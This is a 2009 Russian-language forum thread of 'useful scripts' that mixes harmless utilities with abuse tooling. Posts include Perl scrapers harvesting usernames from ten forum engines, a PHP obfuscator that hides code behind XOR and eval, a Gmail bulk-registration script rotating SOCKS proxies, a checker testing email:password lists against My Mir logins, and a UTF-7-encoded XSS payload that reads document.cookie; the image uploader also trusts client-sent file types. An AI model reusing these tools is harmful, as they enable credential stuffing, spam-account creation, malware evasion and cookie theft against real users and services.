Просмотр полной версии : Полезные скрипты
-Hormold-
19.04.2009, 01:15
Простой хостинг картинок. Очень быстро работает :)
<style>*{overflow-x: hidden; overflow-y: hidden;}
table{text-align:center;}form{width:500px;margin-top:90px;padding:5px;background-color:#fff;border:1px solid #ccc;}</style>
<CENTER>
<FORM method="POST" action="index.php" enctype="multipart/form-data">
<TABLE align="center">
<TR>
<TD></TD>
<TD><B>Бесплатный хостинг картинок</B></TD>
<TD></TD>
</TR>
<TR>
<TD>Choose a file to upload: </TD>
<TD><input name="uploadedfile" type="file" /></TD>
<TD><INPUT TYPE="submit" value="Upload File"></TD>
</TR>
</TABLE>
<?php
$upload=$_FILES["uploadedfile"];
$max_size=600000; // Byte
$serv="http://".$_SERVER["HTTP_HOST"]."/img/";
$dir=$_SERVER["DOCUMENT_ROOT"];
$dir=$dir."/img/uploaded/";
$allow=array("image/png","image/jpeg","image/gif","image/bmp");
if($upload){
//name
$type=$upload["type"];
$name=$upload["name"];
$tmp =$upload["tmp_name"];
$size=$upload["size"];
if($size==$max_size or $size<$max_size and $tmp){
if(in_array($type,$allow)){
$get=get($type);
$l=md5(microtime()*time());
$link=$l[0].$l[1].$l[2].$l[3].$l[4].$l[5].$l[6].$l[7];
$dir=$dir.$link.$get;
$md5=md5(file_get_contents($tmp));
$scan=scan($md5);
if($scan){
$link=$scan;
$get="";
}else{
copy($tmp,$dir);
}
$link=$serv."uploaded/".$link.$get;
}else{
$error="Такое разрешение - запрещено :-(";
}
}else{
$error="Слишком большой размер или отсутствует файл...";
}
if($error){echo "<B>Ошибка:</B><font color=red>$error</font><BR>\n";}else{
echo "<B>Успешно:</B> <font color=green>$link</font><BR>"."<A HREF=\"$link\">$link</A><BR>\n".
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"$link\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n".
"<INPUT TYPE=\"text\" NAME=\"msg\" size=\"55\" value=\"".$link."\" style=\"text-align:center;background:#2B2F34;color: #DDDDDD;font-family:Tahoma, sans-serif;size:2;border:none;\"><BR>\n";}
}
?>
</FORM>
</CENTER>
<?php
function scan($md5){
global $dir;
$dirs=scandir("uploaded/");
foreach($dirs as $v){
if($v!=="." and $v!==".."){
$md=md5(file_get_contents("uploaded/$v"));
if($md==$md5){return $v;}
//echo $v."<br>";
}
}
}
function get($type){
global $allow;
foreach($allow as $v){
if($type==$v){
list($t,$ext)=explode("/",$v);
return ".".$ext;
}
}
}
?>
Можете скинуть парсер ников для phpBB или IPB?
ph1l1ster
20.04.2009, 14:05
IPB:
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print A join "\n", @nicknames;}
phpBB:
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print A join "\n", @nicknames;}
Ретрекер демоноида, для забаненых украинцев:
http://mrthe.name/2009/04/retracker-demonoid/
да, я пиарю свой блог.
ph1l1ster
20.04.2009, 18:27
Forums Nicknames Grabber
#============================
#Forums nicknames grabber
#C0ded by ph1l1ster
#ICQ: 612-672
#============================
Граббер неймов с форумов:
1 - vBulletin
2 - phpBB
3 - IPB
4 - SMF
5 - MyBB
6 - Woltlab Burning Board
7 - PunBB
8 - XMBForum
9 - FUDforum
10 - Ikonboard
граббит по дефолтным настройкам, не настроен на хаки типа html страниц. если неграббится: проверьте url, http://site.ru/forum/ (полный путь до форума, со всеми слэшами)
Enter numbers of page witch users - это колличество страниц с именами. (для непонятливых)
Сохраняет всё в тхт.
#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
#============================#
# Forums nicknames grabber #
# C0ded by ph1l1ster #
# ICQ: 612-672 #
#============================#\n
Forum for parsing?\n\n1 - vBulletin\n2 - phpBB\n3 - IPB
4 - SMF\n5 - MyBB\n6 - Woltlab Burning Board\n7 - PunBB
8 - XMBForum\n9 - FUDforum\n10 - Ikonboard\n\n> );
$do = <STDIN>;chomp($do);
#vbulletin
if ($do == 1){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (VB, ">>vbulletin_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?do=getall&order=asc&sort=username&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?u=.*\">(.*)<\/a>/g;
print VB join "\n", @nicknames;}}
#phpbb
if ($do == 2){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (PHPBB, ">>phpbb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."memberlist.php?start=".$count."0";
$count ++,$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\".*?mode=viewprofile.*\" class=\"gen\">(.*)<\/a>/g;
print PHPBB join "\n", @nicknames;}}
#ipb
if ($do == 3){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IPB, ">>ipb_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?act=members&st=".$count ++."0";
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?showuser=.*\">(.*)[^Просмотреть .*]<\/a>/g;
print IPB join "\n", @nicknames;}}
#smf
if ($do == 4){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 500
> );
$page=<STDIN>;
chomp($page);
open (SMF, ">>smf_nicknames.txt");
$count = 0;
while ($count <= $page) {
$url=$adr."index.php?action=mlist;start=".$count."0";
$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http:.*index.*?action=profile.*\" title=\".*\">(.*)<\/a>/g;
print SMF join "\n", @nicknames;}}
#mybb
if ($do == 5){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (MYBB, ">>mybb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=profile.*\">(.*)<\/a>/g;
print MYBB join "\n", @nicknames;}}
#Woltlab Burning Board
if ($do == 6){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (WBB, ">>wmm_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?page=MembersList&pageNo=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"http.*index.*?page=User.*\" title=\".*\">(.*)<\/a><\/p><p class=\"/g;
print WBB join "\n", @nicknames;}}
#PunBB
if ($do == 7){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (PUNBB, ">>punbb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."userlist.php?p=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*?id=.*\">(.*)<\/a><\/td>/g;
print PUNBB join "\n", @nicknames;}}
#XMB
if ($do == 8){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."misc.php?action=list&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?action=viewpro.*member=.*\">(.*)<\/a>/g;
print join "\n", @nicknames;}}
if ($do == 9){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (XMB, ">>xmb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."index.php?t=finduser&&&start=".$count."0";
$count ++,$count ++,$count ++,$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"index.*usrinfo.*id=.*\">(.*)<\/a><\/td>/g;
print join "\n", @nicknames;}}
#Ikonboard
if ($do == 10){
system('cls');
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page witch users:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (IKB, ">>ikb_nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.cgi?page=".$count++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"profile.*action=show.*member=.*\"><b>(.*)<\/b><\/a>/g;
print IKB join "\n", @nicknames;}}
-m0rgan-
20.04.2009, 18:34
php криптор от KALLISTO v1.2
<pre><?
// 2:52 27.07.2007
#######################################
#######################################
######## PHPCrypt ####### public
######## Ver. 1.2 #######
#######################################
#######################################
######## KALLISTO #######
######## 98009800 #######
#######################################
#######################################
$jsCrypt = 0; // 1 - on, 0 - off ява крипт
$input = "1.php"; // файл который надо криптануть
$output = "index.php"; // выходяший криптованный файл
#################################
///
$f=join("", file($input));
$key = rand(1,100);
$find = 0;
$start_pos = strpos($f, "<?php");
if($start_pos === false )
{
$start_pos = strpos($f, "<?");
if($start_pos !== false )
{
$find=1;
$f= substr($f, $start_pos+2, strlen($f));
}
}
else
{
$find=1;
$f= substr($f, $start_pos+5, strlen($f));
}
if($find==0) exit("Крипт скрипта неполучится.");
$start_pos = strrpos($f, "?>");
if(is_int($start_pos))$f=substR($f, 0, $start_pos);
$new = '';$len=strlen($f);
for($i=0;$i<$len;$i++)
{
$new .= chr(ord($f[$i]) ^ $key);
}
$new = str_replace("<?", "[t1]", $new);
$new = str_replace("'", "[t3]", $new);
$jsPre='';
$jsAfter='';
if($jsCrypt == 1)
{
$jsPre="
function jsCrypt(\$buffer)
{
\$return = \$buffer;
\$new = '';
for(\$i=0;\$i<strlen(\$buffer);\$i++)
{
\$tmp = ord(\$buffer[\$i]);
if(\$tmp<100) \$tmp = \"0\".\$tmp;
if(\$tmp<10) \$tmp = \"0\".\$tmp;
\$new .= \$tmp;
}
\$return = \"<script>
var len = \".strlen(\$buffer).\";
var str = '\$new';
var tmp = '';
for(i=0;i<len;i++)
{
// String.fromCharCode(str.substr(i*3, 3) )
document.write( String.fromCharCode(str.substr(i*3, 3) ) );
}
</script>\";
return \$return;
}
ob_start(\"jsCrypt\");";
$jsAfter="ob_end_flush();";
}
$code = "<?
$jsPre
\$key=$key;
\$res ='$new';
\$str=str_replace(\"[t1]\", \"<?\", \$res);
\$str=str_replace(\"[t3]\", \"'\", \$str);
\$len=strlen(\$str);
\$ev='';
for(\$i=0;\$i<\$len;\$i++)
\$ev .= chr(ord(\$str[\$i]) ^ \$key);
eval(\$ev);
$jsAfter;
?>";
@fwrite( fopen($output, "w"), $code) or die("Не удалось создать файлик...");
?>
</pre>
Скрипт для рассылки по контакт листу mail.ru agent. Особо не тестил, ибо нет аккаунтов.
http://kaimi.ru/wp-content/uploads/2009/04/mrim.rar
-m0rgan-
21.04.2009, 01:35
gmail регер с ручным вводом капчи
<?php
$password = "vv12345";
set_time_limit(300);
function generateCode($length=6) {
$chars = "abcdefghijklmnopqrstuvwxyz";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
function generateDigits($length=6) {
$chars = "0123456789";
$code = "";
$clen = strlen($chars) - 1;
while (strlen($code) < $length) {
$code .= $chars[mt_rand(0,$clen)];
}
return $code;
}
$proxies;
$proxiesFile = fopen("proxies.txt","r+");
while(!feof($proxiesFile)){
$proxy = fgets($proxiesFile,4096);
$delimPos = strpos($proxy, ":");
$ip = substr($proxy, 0, $delimPos);
$port = substr($proxy, $delimPos+1, strlen($proxy));
$proxies[]= array($ip,$port);
}
$lastURL="";
function getPageWithProxy($URL,$data,$referer,$badString,$p roxyType='') {
global $lastURL;
global $proxies;
$proxyArrSize = count($proxies);
$cp = curl_init($URL);
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.0; us; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.666";
curl_setopt($cp, CURLOPT_USERAGENT, $useragent);
curl_setopt($cp, CURLOPT_RETURNTRANSFER,1);
curl_setopt($cp, CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($cp, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($cp, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($cp, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($cp, CURLOPT_VERBOSE, 1);
$cookieFilename = "cookies.txt";
if(substr(PHP_OS, 0, 3) == 'WIN' && strpos($cookieFilename,"/")===FALSE){
$cookieFilename = str_replace('\\','/', getcwd().'/'.$cookieFilename);
}
curl_setopt($cp, CURLOPT_COOKIEJAR, $cookieFilename);
curl_setopt($cp, CURLOPT_COOKIEFILE, $cookieFilename);
if($data!=""){
curl_setopt($cp, CURLOPT_POST, 1);
curl_setopt($cp, CURLOPT_POSTFIELDS,$data);
}
if($referer!=""){
curl_setopt($cp, CURLOPT_REFERER, $referer);
}
if($proxyType=="socks4"){
curl_setopt($cp,CURLOPT_PROXYTYPE,4);
}
$success = false;
for($i=0; $i<2*$proxyArrSize; $i++){
$num = rand(0,$proxyArrSize-1);
$ip = $proxies[$num][0];
$port = $proxies[$num][1];
curl_setopt($cp, CURLOPT_PROXY, "$ip".":"."$port");
$code = curl_exec($cp);
$lastURL = curl_getinfo($cp,CURLINFO_EFFECTIVE_URL);
if(curl_errno($cp)==0 && curl_getinfo($cp,CURLINFO_HTTP_CODE)==200){
$badPos = 0;
if($badString != ""){
$badPos = strpos($code, $badString);
}
if($badPos==0){
$success = true;
break;
}
}
}
curl_close($cp);
if ($success == true){
return $code;
}else{
return false;
}
}
if(!isset($_POST["go"])){
$code = getPageWithProxy("http://gmail.com","","","","socks4");
$code = getPageWithProxy("http://mail.google.com/mail/signup","",$lastURL,"","socks4");
$doc = new DOMDocument();
$doc->loadHTML($code);
function getInputByName($domDocument,$name){
$inputList = $domDocument->getElementsByTagName("input");
for($c=0; $c<$inputList->length; $c++){
$atts = $inputList->item($c)->attributes;
if($atts->getNamedItem("name")->nodeValue==$name){
return $atts->getNamedItem("value")->nodeValue;
break;
};
}
}
$captchaURL = getInputByName($doc,"newaccounturl");
$continue = getInputByName($doc,"continue");
$data = "continue=".urlencode($continue)."&";
$data = $data."service=mail&type=2&t=null&";
$data = $data."dsh=".getInputByName($doc,"dsh")."&";
$data = $data."edk=gmail.com&p=&";
$data = $data."Passwd=$password&PasswdAgain=$password&PersistentCookie=no&";
$data = $data."rmShown=1&smhhk=1&&smhck=1&nshk=1&selection=What+is+your+primary+frequent+flyer+numb er&";
$data = $data."ownquestion=&IdentityAnswer=".generateDigits(rand(2,3))."&SecondaryEmail=&hl=en&loc=US&";
$data = $data."newaccounttoken=".getInputByName($doc,"newaccounttoken")."&";
$data = $data."newaccounturl=".urlencode($captchaURL)."&";
$data = $data."newaccounttoken_audio=".getInputByName($doc,"newaccounttoken_audio")."&";
$data = $data."newaccounturl_audio=".urlencode(getInputByName($doc,"newaccounturl_audio"))."&";
$data = $data."program_policy_url=".urlencode(getInputByName($doc,"program_policy_url"))."&";
$data = $data."privacy_policy_url=".urlencode(getInputByName($doc,"privacy_policy_url"))."&";
$data = $data."requested_tos_location=US&requested_tos_language=en&";
$data = $data."served_tos_location=US&served_tos_language=en&";
$data = $data."submitbutton=".urlencode(getInputByName($doc,"submitbutton"));
?>
<html>
<head/>
<body>
<form method="post" action="gmreger.php">
<input type="hidden" name="continue" value="<?php echo $continue ?>" />
<input type="hidden" name="data" value="<?php echo $data ?>" />
<input type="hidden" name="lastURL" value="<?php echo $lastURL ?>" />
<table>
<tr>
<td>
Enter keyword:
</td>
<td>
<input name="keyword" value=""></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<img alt="captcha" src="<?php echo $captchaURL ?>" />
</td>
</tr>
<tr>
<td>
Enter captcha:
</td>
<td>
<input name="captcha"></input>
</td>
</tr>
<tr>
<td>
</td>
<td>
<input type="submit" name="go" width="150" value="go"/>
</td>
</tr>
</table>
</form>
</body>
</html>
<?php
}else{
$words = preg_split('/ /',$_POST["keyword"]);
$firstname = $words[0];
$lastname;
$login = substr($firstname,0,9);
if(count($words)>1){
$lastname = $words[1];
$login = $login . substr($lastname,0,4);
}else{
$lastname = $words[0];
$login = $login . substr($lastname,1,7);
}
$login = strtolower($login . generateCode(2).generateDigits(2));
$data = "FirstName=".$firstname."&LastName=".$lastname."&";
$data = $data."UsernameSelector=header&Email=".$login."&";
$data = $data."newaccountcaptcha=".$_POST["captcha"]."&";
$data = $data.$_POST["data"];
$regURL = "https://www.google.com/accounts/CreateAccount?service=mail&".urlencode($_POST["continue"])."&type=2";
echo getPageWithProxy($regURL,$data,$_POST["lastURL"],"","socks4");
}
?>
Небольшая функция для расшифровки простых обфускаций, например как тут (http://forum.antichat.ru/showpost.php?p=1233307&postcount=1) или тут (http://forum.antichat.ru/showpost.php?p=1038481&postcount=1)
function decrypt($data,$filename='',$times=1)
{
error_reporting(0);
function bulk($str)
{
$str = preg_replace('~^\?\>~','',$str);
return str_ireplace(array('<?php','<?','?>','eval','__FILE__'),array('','','/*','echo','$_FILE__'),$str);
}
$f = $data;
$_FILE__=$filename;
for ($i=0;$i<$times;$i++)
{
ob_start();
eval(bulk($f));
$f = ob_get_contents();
ob_end_clean();
}
return preg_replace(array('~^\?\>~','~\<\?$~'),'',$f);
}
Способ применения - $data - содержимое интересующего скрипта, например file_get_contents('encrypted.php')
$filename - путь до файла, некоторые защиты привязываются к __FILE__ например
$count - количество раз для снятия защиты, подбирается экспериментально, например для DLE - это 1, а для RedButton VVS Edition 5 или 6.
Shaitan-Devil
22.04.2009, 11:13
Чекер акков соц. сети "Мой Мир"
<?//СПС mr.grek
set_time_limit(0);
$accs = file ("accs.txt");
$unaccs = array_unique ($accs);
$in = count ( $accs );
$all = count ( $unaccs );
for($i = 0; $i < $all;$i ++)
{
$buffer = trim($unaccs[$i]);
list ($email, $pass) = explode(":", $buffer);
list ($login, $domain) = explode("@", $email);
$url = "http://my.mail.ru/cgi-bin/auth";
$referer = "http://my.mail.ru/cgi-bin/login?page=http%3A%2F%2Fmy.mail.ru%2F";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "Login=$login&omain=$domain&Password=$pass");
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$result = curl_exec($ch);
if(preg_match("#Новое сообщение#", $result))
{
$fp = fopen("good.txt", "a+");
fwrite($fp, $buffer);
}
else
{
$fp = fopen("bad.txt", "a+");
fwrite($fp, $buffer);
}
}
?>
В accs.txt ложим акии формата
login@mail.ru:12345
<?
$UIN = '123456789'; //Уин
$PASSWORD = '0000'; //Пароль
if(!isset($_POST[uin]) or !isset($_POST[text]))
{ if(isset($_GET[uin])){
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=utf-8"> <title>Отправка соощений ICQG</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/>
<form method="post" action="index.php"> Номер ICQ:<br>
<input type="Text" name="uin" value="'.$_GET[uin].'" maxlength="9">
<br>
Сообщение:<br>
<input type="Text" name="text" value="" maxlength="500">
<br>
<input type=submit name="send" value="Отправить"> </form>
<p>
</body>
</html>';
}else{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<title>Отправка сообщний ICQ</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/>
<b>Ве сообщения приходят с номера 123456789!</b>
<br/>
<form method="post" action="index.php"> Номер ICQ:<br>
<input type="Text" name="uin" value="" maxlength="9">
<br> Сообщение:<br>
<input type="Text" name="text" value="" maxlength="500">
<br>
<input type=submit name="send" value="Отправить"> </form>
<p>
</body>
</html>';
}}else{
include('WebIcqLite.class.php');
$text=Encode($_POST[text],w);
$icq = new WebIcqLite();
if($icq->connect($UIN, $PASSWORD)){
if(!$icq->send_message($_POST[uin], $text))
{ echo $icq->error;
}else{
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<title>ICQ</title>
</head>
<body>
<b>Отправка ICQ-сообщений</b>
<br/> Сообщение отправлено.<br>
<a href="index.php">Отправить еще</a>
</body>
</html>';
} $icq->disconnect();
}else{
echo $icq->error; } }
function Encode($str,$type=u) {
$conv=array();
for($x=192;$x<=239;$x++)
$conv[u][chr($x)]=chr(208).chr($x-48);
for($x=240;$x<=255;$x++)
$conv[u][chr($x)]=chr(209).chr($x-112);
$conv[u][chr(168)]=chr(208).chr(129);
$conv[u][chr(184)]=chr(209).chr(209);
$conv[w]=array_flip($conv[u]);
if($type=='w' || $type=='u')
return strtr($str,$conv[$type]);
else return $str; }
?>
Скрипт формы отправки сообщений на icq. для работы скрипты нужен WebIcqLite.class.php и номер и пароль от аси с которой будет осуществляться отправка сообщений
De-visible
25.04.2009, 06:49
Вообщем на коленке накидал скриптик, дело было достаточно давно, но надо было трансика на вечер, инет у меня медленный вот накидал для скачки музыки с прикольного сайтика, также можно подредактировать под свои нужды.
#! /usr/bin/env python
# -*- coding:windows-1251 -*-
#-################################################## #####-##
# Скачиваем музыку ##
# (c) 2009 ##
# Создал специально для себя, ##
# так как инет медленный, а без ##
# Транса, кодить не умею... ##
# De-visible project ##
# ndcoders.ru ##
# GreetZ To login999 ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance ##
# Также делаем программы на заказ ##
# Контакт ICQ#: 22-3333-575 ##
# Мы: ndcoders.ru, devisible.ru ##
#-################################################## ####-###
import urllib
import time
import re
import threading
import urlparse
import string
URL_MAS = []
s = 1
def DownFile(url):
f = urlparse.urlsplit(url)
mp3_name = str(f.path).strip('\/')
mp3_name = str(mp3_name).strip('[')
mp3_name = str(mp3_name).strip(']')
mp3_name = str(mp3_name).strip('\'')
mp3_name = mp3_name.replace('/','1')
try:
print u"Начинаем закачку файла: ", mp3_name, '\n'
print u"Размер файла: ", GetSizeMp3(url), "byte"
infile = urllib.urlopen(url).read()
except:
print u"Ошибка скачивания: ", mp3_name
print u", Файл закачен\n"
mp3_file = open(mp3_name+str(s)+'.mp3',"wb")
mp3_file.write(infile)
mp3_file.close()
print 'File Saved Local'
def GetSizeMp3(url):
size_mp3 = urllib.urlopen(url).info()
mp3 = str(size_mp3)
s_mp3 = str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
print s_mp3
def LoadFromFile():
with open("urls.txt",) as urls:
for ur in urls:
URL_MAS.append(ur[:-1])
def ServerOption():
info = urllib.urlopen('http://mp3.myws.ru').info()
with open('serv_option.txt',"w") as serv:
serv.write(str(info))
print '''
Author: De-visible, ICQ#: 22-3333-575
WeAre: ND_c0ders, ndcoders.ru
ServerOption: mp3.myws.ru
'''
print info,'\n\n'
def Start_Process():
LoadFromFile()
print u"Массив ссылок загружен",'\n'
print u"Менеджер закачек запущен",'\n'
ServerOption()
s = 1
for url_mas in URL_MAS:
DownFile(url_mas)
time.sleep(3)
s+= s
print u" Все закачки завершены"
threading.Thread(target = Start_Process).start()
time.sleep(1000)
heretic1990
01.05.2009, 22:37
Индикация языка ввода будит полезна при вводе пароля, скрипт покажет язык ввода и регистр вводимых букв.
вставляем это на страницу:
<script type="text/javascript">
$(function(){
$(':password').keyboardLayout();
});
</script>
подгружаем эти файлы:
jquery.keyboardLayout.js и jquery.js (http://blog.artsofte.ru/uploads/layout/jquery.js )
(function() {
jQuery.keyboardLayout = {};
jQuery.keyboardLayout.indicator = $('<span class="keyboardLayout" />');
jQuery.keyboardLayout.target;
jQuery.keyboardLayout.layout;
jQuery.keyboardLayout.show = function(layout){
this.layout = layout;
this.indicator.text(layout);
this.target.after(this.indicator);
};
jQuery.keyboardLayout.hide = function(){
this.target = null;
this.layout = null;
this.indicator.remove();
};
jQuery.fn.keyboardLayout = function()
{
this.each(function(){
$(this).focus(function(){
jQuery.keyboardLayout.target = $(this);
});
$(this).blur(function(){
jQuery.keyboardLayout.hide();
});
$(this).keypress(function(e){
var c = (e.charCode == undefined ? e.keyCode : e.charCode);
var layout = jQuery.keyboardLayout.layout;
if (c >= 97/*a*/ && c <= 122/*z*/ && !e.shiftKey ||
c >= 65/*A*/ && c <= 90/*Z*/ && e.shiftKey ||
(c == 91/*[*/ && !e.shiftKey ||
c == 93/*]*/ && !e.shiftKey ||
c == 123/*{*/ && e.shiftKey ||
c == 125/*}*/ && e.shiftKey ||
c == 96/*`*/ && !e.shiftKey ||
c == 126/*~*/ && e.shiftKey ||
c == 64/*@*/ && e.shiftKey ||
c == 35/*#*/ && e.shiftKey ||
c == 36/*$*/ && e.shiftKey ||
c == 94/*^*/ && e.shiftKey ||
c == 38/*&*/ && e.shiftKey ||
c == 59/*;*/ && !e.shiftKey ||
c == 39/*'*/ && !e.shiftKey ||
c == 44/*,*/ && !e.shiftKey ||
c == 60/*<*/ && e.shiftKey ||
c == 62/*>*/ && e.shiftKey) && layout != 'EN') {
layout = 'en';
} else if (c >= 65/*A*/ && c <= 90/*Z*/ && !e.shiftKey ||
c >= 97/*a*/ && c <= 122/*z*/ && e.shiftKey) {
layout = 'EN';
} else if (c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && !e.shiftKey ||
c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && e.shiftKey ||
(c == 1105/*С‘*/ && !e.shiftKey ||
c == 1025/*РЃ*/ && e.shiftKey ||
c == 8470/*в„–*/ && e.shiftKey ||
c == 59/*;*/ && e.shiftKey ||
c == 44/*,*/ && e.shiftKey) && layout != 'RU') {
layout = 'ru';
} else if (c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && !e.shiftKey ||
c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && e.shiftKey) {
layout = 'RU';
}
if (layout) {
jQuery.keyboardLayout.show(layout);
}
});
});
};
})();
Каму надо тот разберётся, кто непонял что это вот ДЕМО (http://blog.artsofte.ru/uploads/layout/index.html)
MatriX30000
07.05.2009, 22:45
http://bestquest.info/freeicq/freeicq.rar Все в комментах. Скрипт раздает по одному нуму на чела. Требует наличия:
И как результат:
http://forum.antichat.ru/showpost.php?p=1138926&postcount=1
ну и как его ставить?
heretic1990
07.05.2009, 23:07
MatriX30000, free.jpg, это не картинка, это скрипт.))
встави где нибудь его как рисунок и все
Щас час потратил изобретая велосипед на Си (читая RFC написал свой base64 ы), но так и не получил результата... немного полистав странички гугла...
<?php
echo iconv('windows-1251','UTF-7',"</title><script>alert(document.cookie);</script>");
?>
*бьюсь ап стену*
З.Ы: если не в курсах зачем может понадобится UTF-7 читайте про XSS
shellz[21h]
08.05.2009, 18:34
<?
# +----------------------------------------------+
# | - Generator socks5 ;) |
# | - (c) 2009 Writed by shellz |
# +----------------------------------------------+
// Setting:
set_time_limit(0);
error_reporting(0);
$loop = 10; // 1 - num loops
